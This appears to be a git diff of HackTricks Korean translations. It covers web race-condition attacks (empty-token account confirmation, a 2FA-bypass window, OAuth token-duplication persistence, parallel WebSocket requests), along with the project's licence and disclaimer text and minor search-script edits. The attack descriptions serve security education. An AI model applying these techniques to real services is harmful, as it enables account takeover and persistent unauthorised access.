이 [**research**](https://portswigger.net/research/smashing-the-state-machine)에 따르면 Gitlab은 이 방식으로 takeover에 취약했는데, 한 이메일의 **email verification token**을 다른 이메일로 **send**할 수 있었기 때문입니다.
|
||||
|
||||
이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)를 확인하세요.
|
||||
**이를 시도하려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **을 확인하세요.**
|
||||
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
### 숨겨진 데이터베이스 상태 / 확인 우회
|
||||
|
||||
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
|
||||
데이터베이스에 정보를 추가하기 위해 **2 different writes**가 사용되는 경우, 데이터베이스에 **첫 번째 데이터만 기록된** 짧은 시간이 존재할 수 있습니다. 예를 들어 사용자 생성 시 **username**과 **password**가 먼저 **written**되고, 새 계정을 확인하는 **token**이 그 다음에 기록될 수 있습니다. 이 때문에 잠깐 동안 **계정 확인 토큰이 null**인 상태가 됩니다.
|
||||
|
||||
따라서 **계정을 등록하고 빈 token으로 여러 요청을 전송하는 것**(`token=` or `token[]=` or any other variation`)으로 계정을 즉시 확인하려고 하면, 이메일을 제어하지 못하는 계정을 **확인(confirm an account)** 할 수 있게 될 가능성이 있습니다.
|
||||
따라서 계정을 등록한 후 빈 토큰(`token=` 또는 `token[]=` 등)으로 여러 요청을 보내 즉시 계정을 확인하면, 본인이 제어하지 않는 이메일의 계정도 확인할 수 있게 될 수 있습니다.
|
||||
|
||||
이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)를 확인하세요.
|
||||
**이를 시도하려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **을 확인하세요.**
|
||||
|
||||
### Bypass 2FA
|
||||
### 2FA 우회
|
||||
|
||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||||
다음 pseudo-code는 세션 생성 중 아주 짧은 시간 동안 **2FA가 적용되지 않는** 경우가 있어 race condition에 취약합니다:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -357,21 +364,21 @@ session['enforce_mfa'] = True
|
||||
```
|
||||
### OAuth2 영구 지속성
|
||||
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스들은 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **client**는 **애플리케이션이** 해당 **OAUth provider** 내부의 일부 데이터에 접근하는 것을 허용해야 합니다.\
|
||||
여기까지는 google/linkedin/github 같은 일반적인 로그인으로, "_Application \<InsertCoolName>가 귀하의 정보를 액세스하려 합니다. 허용하시겠습니까?_"라는 페이지가 표시됩니다.
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스는 애플리케이션을 생성하고 해당 provider에 등록된 사용자를 인증할 수 있게 해줍니다. 이를 위해, **client**는 **permit your application**을 통해 **OAUth provider** 내부의 일부 데이터에 접근할 수 있도록 허용받아야 합니다.
|
||||
즉, 여기까지는 google/linkedin/github... 등의 일반 로그인과 같으며, "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_" 라는 페이지가 표시됩니다.
|
||||
|
||||
#### Race Condition in `authorization_code`
|
||||
|
||||
문제는 사용자가 이를 **허용**하면 자동으로 **`authorization_code`**가 악성 애플리케이션으로 전송될 때 발생합니다. 이후 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 계정의 **`authorization_code`**로부터 둘 이상의 AT/RT (_Authentication Token/Refresh Token_)을 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용했다는 점을 악용해 **여러 계정**을 생성합니다. 그런 다음 사용자가 애플리케이션의 접근 권한을 취소하면 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남아 있을 수 있습니다.
|
||||
The **문제**는 당신이 **수락하면** 자동으로 악성 애플리케이션에 **`authorization_code`**를 전송한다는 점에서 발생합니다. 그런 다음, 이 **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 기본적으로, 애플리케이션이 당신의 데이터 접근을 허용받은 사실을 악용해 **여러 계정을 생성**합니다. 이후 사용자가 애플리케이션의 데이터 접근을 중지하더라도, 한 쌍의 AT/RT는 삭제되더라도 다른 토큰들은 여전히 유효할 수 있습니다.
|
||||
|
||||
#### Race Condition in `Refresh Token`
|
||||
|
||||
유효한 RT를 얻으면 이를 악용해 여러 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 접근 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남을 수 있습니다.
|
||||
한번 유효한 RT를 **obtained a valid RT** 하면, 이를 악용해 여러 AT/RT를 생성할 수 있으며, 사용자가 악성 애플리케이션에 대한 권한을 취소하더라도 여러 RT가 여전히 유효하게 남을 수 있습니다.
|
||||
|
||||
## **RC in WebSockets**
|
||||
|
||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
|
||||
- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)에서 Java로 웹소켓 메시지를 **parallel**로 전송하여 Web Sockets에서도 **Race Conditions**를 악용하는 PoC를 찾을 수 있습니다.
|
||||
- Burp의 WebSocket Turbo Intruder를 사용하면 **THREADED** 엔진으로 여러 WS 연결을 생성하고 페이로드를 병렬로 전송할 수 있습니다. 공식 예제에서 시작하여 동시성을 위해 `config()`(스레드 수)를 조정하세요; WS 핸들러 전반에서 서버 측 상태를 레이스할 때 단일 연결에서 배치하는 것보다 더 신뢰할 수 있는 경우가 많습니다. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## References
|
||||
|
||||
|
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> 다음은 **HackTricks 프로젝트의 가치**입니다:
|
||||
>
|
||||
> - 인터넷 전역에 **무료**로 **교육용 hacking** 자료에 접근 권한을 제공합니다.
|
||||
> - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 자료**로서의 역할을 하는 것입니다.
|
||||
> - **저장** 커뮤니티가 공개한 멋진 **hacking** 기법을 보관하며 **원저자**에게 모든 **크레딧**을 부여합니다.
|
||||
> - **우리는 타인의 공로를 원하지 않습니다**, 단지 모두를 위해 멋진 트릭을 보관하려 합니다.
|
||||
> - HackTricks에는 또한 **자체 연구**도 작성합니다.
|
||||
> - 여러 경우 우리는 기법의 중요한 부분을 HackTricks에 **요약**만 작성하고, 더 많은 세부사항은 원문 포스트 방문을 **권장합니다**.
|
||||
> - 책에 있는 모든 **hacking** 기법을 **정리**하여 더 **접근하기 쉬운** 형태로 만듭니다.
|
||||
> - HackTricks 팀은 사람들이 **더 빨리 학습**할 수 있도록 콘텐츠를 정리하는 데만 수천 시간의 무료 노력을 투입했습니다.
|
||||
> - 모든 인터넷 사용자에게 **FREE**로 **EDUCATIONAL hacking** 리소스에 접근 권한을 제공합니다.
|
||||
> - Hacking은 학습과 관련이 있으며, 학습은 가능한 한 무료여야 합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 자료**로서 제공하는 것입니다.
|
||||
> - 커뮤니티가 게시한 훌륭한 **hacking** 기술들을 **STORE**하여 **ORIGINAL** **AUTHORS**에게 모든 **credits**를 제공합니다.
|
||||
> - **우리는 다른 사람들의 공로를 차지하려는 것이 아닙니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 우리는 또한 HackTricks에 **자체 연구**를 작성합니다.
|
||||
> - 몇몇 경우에는 HackTricks에 기술의 중요한 부분을 **요약**만 작성하고, 더 자세한 내용을 위해 **독자에게 원본 게시물을 방문하도록 권장**합니다.
|
||||
> - 책에 있는 모든 **hacking** 기술을 **ORGANIZE**하여 더 **MORE ACCESSIBLE**하게 만듭니다.
|
||||
> - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠 **정리만을 위해** 수천 시간을 무료로 바쳤습니다.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,35 +23,35 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **이런 자료들을 정말 감사합니다. 어떻게 감사 인사를 전할 수 있나요?**
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
And don't forget to **give a star in the Github projects!** (Find the links below).
|
||||
이 모든 리소스를 공개적으로 정리해 준 HackTricks 팀에게 공개적으로 감사를 전하려면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 멘션한 트윗을 올리세요.\
|
||||
특히 감사하다면 [**sponsor the project here**](https://github.com/sponsors/carlospolop)에서 프로젝트를 후원하실 수도 있습니다.\
|
||||
그리고 Github 프로젝트에 별(star)을 주세요! (아래 링크 참조)
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **프로젝트에 어떻게 기여할 수 있나요?**
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages:
|
||||
책에서 찾은 버그를 고치거나 **새로운 팁과 트릭을 커뮤니티와 공유**하려면 해당 Github 페이지로 **Pull Request**를 보내세요:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Don't forget to **give a star in the Github projects!**
|
||||
Github 프로젝트에 별(star)을 주는 것도 잊지 마세요!
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 일부 콘텐츠를 복사하여 자신의 블로그에 올려도 되나요?**
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from.
|
||||
예, 가능합니다. 다만 컨텐츠를 가져온 특정 링크를 반드시 **명시**하세요.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 페이지를 어떻게 인용하나요?**
|
||||
> - **How can I cite a page of HackTricks?**
|
||||
|
||||
정보를 가져온 페이지의 링크가 표시되어 있으면 충분합니다.\
|
||||
BibTeX가 필요하다면 다음과 같이 사용할 수 있습니다:
|
||||
bibtex가 필요하면 다음과 같은 형식을 사용할 수 있습니다:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
> - **내 블로그에 HackTricks 전체를 복사해도 되나요?**
|
||||
|
||||
**그렇게 하는 편이 낫지 않습니다**. 그것은 **아무에게도 이득이 되지 않습니다** — 모든 **콘텐츠는 이미 공식 HackTricks 책에 무료로 공개되어 있습니다**.
|
||||
**그렇게 하지 않는 편이 좋습니다**. 그것은 **아무에게도 도움이 되지 않습니다**. 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
|
||||
|
||||
만약 그것이 사라질까 두렵다면, Github에서 포크하거나 다운로드하세요. 말씀드렸듯이 이미 무료입니다.
|
||||
사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 앞서 말했듯 이미 무료입니다.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
> - **왜 스폰서가 있나요? HackTricks 책은 상업적 목적용인가요?**
|
||||
|
||||
첫 번째 **HackTricks** **가치는** 전 세계 **모두에게** **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 바쳤으며, 다시 말하지만 **무료(FREE)** 입니다.
|
||||
첫 번째 **HackTricks** **가치**는 전 세계 **모두에게 무료로(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 할애했으며, 다시 말하지만 **무료**로 제공합니다.
|
||||
|
||||
만약 HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 오해하신 겁니다**.
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면 **완전히 잘못된 생각입니다(COMPLETELY WRONG)**.
|
||||
|
||||
스폰서가 있는 이유는, 모든 콘텐츠가 무료임에도 불구하고 커뮤니티가 원하면 우리의 작업을 **감사할 수 있는 기회**를 제공하고 싶기 때문입니다. 따라서 사람들에게 HackTricks에 기부할 선택지를 제공하며 [**Github sponsors**](https://github.com/sponsors/carlospolop) 를 통해 기부할 수 있고, **관련 사이버보안 회사들**이 HackTricks를 스폰서하고 책에 **광고(ads)** 를 게재할 수 있도록 하고 있습니다. **광고**는 항상 눈에 띄는 곳에 배치되지만, 누군가 콘텐츠에 집중할 때 **학습을 방해하지 않도록** 배치됩니다.
|
||||
콘텐츠는 무료지만, 커뮤니티가 우리 작업을 **감사 표시**할 수 있는 선택지를 제공하고 싶기 때문에 스폰서가 있습니다. 따라서 사람들에게 HackTricks에 기부할 수 있는 옵션([**Github sponsors**](https://github.com/sponsors/carlospolop))을 제공하고, **관련 사이버보안 기업들**이 HackTricks를 후원하고 책에 **광고(ads)** 를 게재할 수 있도록 합니다. 광고는 항상 **눈에 띄지만** 학습을 **방해하지 않는** 위치에 배치됩니다.
|
||||
|
||||
HackTricks는 다른 많은 콘텐츠가 적은 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아닙니다.
|
||||
HackTricks는 다른 많은 콘텐츠보다 적은 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
> - **HackTricks의 어떤 페이지가 제 블로그 게시물을 기반으로 했는데 출처가 표시되어 있지 않다면 어떻게 해야 하나요?**
|
||||
|
||||
**정말 죄송합니다. 이런 일이 발생해서는 안 됩니다.** Github 이슈, Twitter, Discord 등으로 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 가능한 한 빨리 참조를 추가하겠습니다**.
|
||||
**정말 죄송합니다. 이런 일이 발생해서는 안 됩니다**. Github issues, Twitter, Discord... 를 통해 해당 HackTricks 페이지 링크와 귀하의 블로그 링크를 알려주시면 **확인하고 가능한 한 빨리 출처를 추가하겠습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
> - **제 블로그의 콘텐츠가 HackTricks에 있는데 이를 원하지 않습니다. 어떻게 해야 하나요?**
|
||||
|
||||
다음 사항을 참고하세요. HackTricks에 귀하의 페이지로의 링크가 있는 경우:
|
||||
HackTricks에 귀하의 페이지 링크가 포함되는 것은 다음과 같은 이점이 있습니다:
|
||||
|
||||
- 귀하의 **SEO**가 향상됩니다.
|
||||
- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다.
|
||||
- **HackTricks는** 사람들이 귀하의 페이지를 **확인하도록 권장**합니다 (몇몇 분들은 HackTricks에 자신의 페이지가 포함된 이후 방문자가 늘었다고 알려주셨습니다).
|
||||
- 귀하의 **SEO** 향상
|
||||
- 콘텐츠가 **15개 이상 언어로 번역**되어 더 많은 사람이 접근 가능
|
||||
- **HackTricks는** 사람들이 귀하의 페이지를 **확인하도록 권장**합니다(일부 페이지 소유자들은 HackTricks에 자신들의 페이지가 포함된 이후 방문자가 늘었다고 알려왔습니다)
|
||||
|
||||
그럼에도 불구하고 귀하의 블로그 콘텐츠를 HackTricks에서 제거하고 싶으시다면 알려주십시오. 저희는 확실히 귀하의 블로그로의 **모든 링크를 제거**하고 해당 기반의 모든 콘텐츠를 삭제하겠습니다.
|
||||
그럼에도 불구하고 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하시면 알려주십시오. 우리는 귀하의 블로그에 대한 모든 링크와 그 기반의 모든 콘텐츠를 **확실히 제거**하겠습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
> - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?**
|
||||
|
||||
저희는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원본 출처 없이 복사-붙여넣기된 콘텐츠를 발견하시면 알려주십시오. 저희는 해당 콘텐츠를 **삭제**하거나, **텍스트 전에 출처 링크를 추가**하거나, **링크를 포함하도록 재작성**하겠습니다.
|
||||
우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 출처 표기가 없는 복사-붙여넣기된 페이지를 발견하시면 알려주십시오. 우리는 해당 페이지를 **제거**, **텍스트 앞에 출처 링크 추가**, 또는 **출처 링크를 포함하여 재작성**할 것입니다.
|
||||
|
||||
## LICENSE
|
||||
## 라이선스
|
||||
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
저작권 © 별도 명시가 없는 한 모든 권리 보유.
|
||||
|
||||
#### License Summary:
|
||||
#### 라이선스 요약:
|
||||
|
||||
- Attribution: You are free to:
|
||||
- Share — copy and redistribute the material in any medium or format.
|
||||
- Adapt — remix, transform, and build upon the material.
|
||||
- 저작자 표시(Attribution): 다음을 자유롭게 할 수 있습니다:
|
||||
- Share — 자료를 어떤 매체나 형식으로든 복사하고 재배포할 수 있습니다.
|
||||
- Adapt — 자료를 리믹스, 변형 및 기반으로 삼아 확장할 수 있습니다.
|
||||
|
||||
#### Additional Terms:
|
||||
#### 추가 조건:
|
||||
|
||||
- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 간행물의 발췌문 등 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용(fair use) 원칙에 따라 이루어지거나 해당 저작권 소유자로부터 명시적 허가를 받은 경우가 있습니다. 제3자 콘텐츠에 대한 구체적인 라이선스 정보는 원본 출처를 참조하시기 바랍니다.
|
||||
- Authorship: HackTricks가 작성한 원본 콘텐츠는 본 라이선스의 조건을 따릅니다. 공유하거나 수정할 때 저자에게 출처를 표기할 것을 권장합니다.
|
||||
- 제3자 콘텐츠(Third-Party Content): 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 타 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용(fair use)의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받은 것입니다. 제3자 콘텐츠에 대한 특정 라이선스 정보는 원본 출처를 참조하십시오.
|
||||
- 저작권(Autorship): HackTricks가 작성한 원저작 콘텐츠는 본 라이선스의 조건을 따릅니다. 공유하거나 변형할 때 저자를 표시하도록 권장합니다.
|
||||
|
||||
#### Exemptions:
|
||||
#### 면제사항:
|
||||
|
||||
- Commercial Use: 본 콘텐츠의 상업적 이용 관련 문의는 저에게 연락해 주십시오.
|
||||
- 상업적 이용(Commercial Use): 본 콘텐츠의 상업적 이용에 관한 문의는 저에게 연락해 주십시오.
|
||||
|
||||
이 라이선스는 콘텐츠와 관련된 상표권 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 표시된 모든 상표 및 브랜딩은 각 소유자의 자산입니다.
|
||||
이 라이선스는 콘텐츠와 관련된 상표나 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표와 브랜딩은 각 소유자의 자산입니다.
|
||||
|
||||
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
|
||||
**HackTricks에 접근하거나 HackTricks를 사용하는 경우, 귀하는 본 라이선스의 조건을 준수하는 데 동의하는 것입니다. 이 조건에 동의하지 않으면 웹사이트에 접근하지 마십시오.**
|
||||
|
||||
## **Disclaimer**
|
||||
## **면책조항**
|
||||
|
||||
> [!CAUTION]
|
||||
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암묵적인 어떠한 진술이나 보증도 하지 않습니다. 따라서 해당 정보에 의존하는 모든 행위는 전적으로 귀하의 책임입니다.
|
||||
> 이 책 'HackTricks'는 교육적이고 정보 제공 목적을 위해 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 발행인은 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적 또는 묵시적으로 어떠한 진술이나 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 귀하의 책임입니다.
|
||||
>
|
||||
> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 또는 수익 손실을 포함하되 이에 국한되지 않는 간접적 및 결과적 손해나 어떠한 손해에 대해서도 어떠한 책임도 지지 않습니다.
|
||||
> 저자와 발행인은 어떠한 경우에도 데이터 손실이나 이익 손실 등 간접적 또는 결과적 손해를 포함한 손해에 대해 책임을 지지 않습니다.
|
||||
>
|
||||
> 또한 이 책에 설명된 기술 및 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용인하거나 지원하지 않으며, 이 책에 포함된 정보를 사용하는 것은 전적으로 사용자의 책임과 재량에 달려 있습니다.
|
||||
> 또한 본 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용해서는 안 됩니다. 저자와 발행인은 어떠한 불법적이거나 비윤리적인 활동도 용납하거나 지지하지 않으며, 본 책의 정보를 사용하는 것은 전적으로 사용자의 책임과 재량입니다.
|
||||
>
|
||||
> 사용자는 이 책에 포함된 정보를 바탕으로 취하는 모든 조치에 대해 단독으로 책임을 지며, 여기에 설명된 기술이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
> 사용자는 본 책에 포함된 정보를 기반으로 취한 모든 조치에 대해 전적으로 책임을 지며, 기술이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
>
|
||||
> 이 책을 사용함으로써 사용자는 저자와 출판자를 이 책 또는 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해로부터 면책하는 데 동의하는 것입니다.
|
||||
> 본 책을 사용함으로써 사용자는 저자와 발행인을 모든 손해, 손실 또는 피해에 대한 책임과 의무로부터 면책하는 데 동의하는 것입니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -491,3 +491,4 @@
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
||||
|
@ -68,11 +68,11 @@
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
@ -208,3 +208,4 @@
|
||||
listOut.classList.toggle('hidden',!docs.length);
|
||||
};
|
||||
})();
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user